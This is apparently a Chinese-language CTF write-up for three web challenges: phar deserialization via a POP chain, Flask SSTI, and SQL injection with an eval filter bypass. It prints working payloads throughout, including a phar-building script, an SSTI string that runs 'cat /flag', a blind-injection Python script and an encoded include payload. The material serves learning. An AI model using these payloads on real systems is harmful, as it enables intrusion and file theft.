babyphp2
考点:phar反序列化、pop链、compress.zlib://phar://
绕过^phar
Paper:https://paper.seebug.org/680/
题目一开始有www.zip给了源代码,下载过来审计;
大概是有三个功能:文件上传、文件读取、SQL查询(登录框)
phar反序列化
我们可以看到class.php里面有很多的类,可以想到可能存在反序列化,但是在源码里面没有unserialize的操作。不过,他有一个功能是文件上传,那么我们自然而然的想到了phar反序列化。
class.php
<?php
error_reporting(0);
session_start();
class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login();
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='upload.php'</script>";
}
}
}
public function upload(){
$uploader=new Upload();
$uploader->upload();
}
public function read(){
$reader=new reader();
$reader->read($_POST['filename']);
}
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="p3rh4ps";
public $dbpass="p3rh4ps";
public $database="p3rh4ps";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
}
public function login()
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$sql="select id,password from users where username=?";
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function __destruct(){
echo $this->token;
}
}
Class Upload{
public $flag;
public $file;
public $ext;
function __construct(){
$this->flag = 1;
$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
}
function check(){
$ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
$reg=implode("|",$this->black_list);
$reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
if(preg_match($reg, $ext)){
$this->flag = 0;
}
$this->ext = $ext;
}
function __wakeup(){
$this->flag = 1;
}
function upload(){
$this->file = $_FILES['file'];
$this->check();
if($this->flag){
if(isset($_FILES['file'])){
if ($_FILES["file"]["error"] > 0){
echo "Error: " . $_FILES["file"]["error"];
}
else{
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else{
if ($_FILES["file"]["size"] > 10240){
echo "too big";
}
else{
$new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
echo $new_addr;
move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
return $new_addr;
}
}
}
}
}
else{
die("Noooooooooooooooooooooooooooo!");
}
}
}
Class Reader{
public $filename;
public $result;
public function read($filename){
if (preg_match("/flag/i",$filename)){
die("想多了嗷");
}
if (preg_match("/sh/i",$filename)){
die("nooooooooooo!");
}
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
die("Invid Schema!");
}
echo file_get_contents($filename);
}
public function __set($name,$val){
echo file_get_contents($val);
}
}
众所周知,要触发phar反序列化,必须有文件操作函数,常见的大概是以下这些:
在class.php里面,能触发的地方有两处:
- 第117行file_exists
- 第153和156行的file_get_contents
我们起先看到的是第117行的file_exists,我们在这里尝试了一番之后发现这里并不能触发phar反序列化。
原因是file_exists("upload/" . $_FILES["file"]["name"])
进行了拼接,phar://是传不进去的,那么剩下的唯一能触发的地方只有第153和156行的file_get_contents
了。
而实际上能触发的只有153行的file_get_contents
,156行的是给你读flag的。
构造pop链
全局搜索魔术方法;
155行Reader::__set
public function __set($name,$val){
echo file_get_contents($val);
}
31行User::__toString
public function __toString()
{
$this->nickname->backup=$this->backup;
$user = new User();
$user->id = $_SESSION['id'];
$user->nickname = $_SESSION['token'];
return serialize($user);
}
81行dbCtrl::__destruct
public function __destruct(){
echo $this->token;
}
pop链很明确:
//pop链
$pop = new dbCtrl();
$pop->token = new User();
$pop->token->nickname = new Reader();
$pop->token->backup = '/flag';
//构造phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($pop);
$phar->addFromString("test.jpg", "test");
$phar->stopBuffering();
运行得到一个phar.phar,改后缀(ph被waf了),上传。
在read.php里面传入compress.zlib://phar:///var/www/html/upload/xxx
获得flag
babyflask
考点:常规SSTI和沙盒逃逸
题目挺友好的,没有任何过滤,随便找个payload就可以打出来;
?name={{().__class__.__bases__.__getitem__(0).__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
babyback
考点:sqli单引号逃逸、bool盲注、
进去一个登录框;
fuzz一波之后发现ban掉了单双引号,自然想到了\造成的单引号逃逸。
sqli盲注
username=\&password=||1#
//提示密码错误,正常的应该是用户名或密码错误
然后还发现ban了select,我拼命地想去绕,卡了很久,结果根本不用注表名列名,只需要得到管理员密码就行了(在robots.txt也有提示)
username=\&password=||ascii(substr(password,1,1))>1#
这里是盲注的exp:
#python3
#wh1sper
import requests
host = 'http://eci-2zebr3la2yjigbu8w27y.cloudeci1.ichunqiu.com/index.php'
def mid(bot, top):
return (int)(0.5 * (top + bot))
def sqli():
name = ''
for j in range(1, 250):
top = 126
bot = 32
while 1:
#babyselect = 'database()'#--p3rh4ps
babyselect = 'password'#--uAreRigHt
data = {
"username": "\\",
"password": "||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
}
r = requests.post(url=host, data=data)
#print(r.text)
#print(data)
if '>密码错误<' in r.text:
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)
print(name)
break
top = mid(bot, top)
if __name__ == '__main__':
sqli()
登录,来到第二关;
是一个eval函数,
eval($command."=false");
waf很强,可以用取反直接include根目录的flag:
command=?><?=include~%D0%99%93%9E%98?>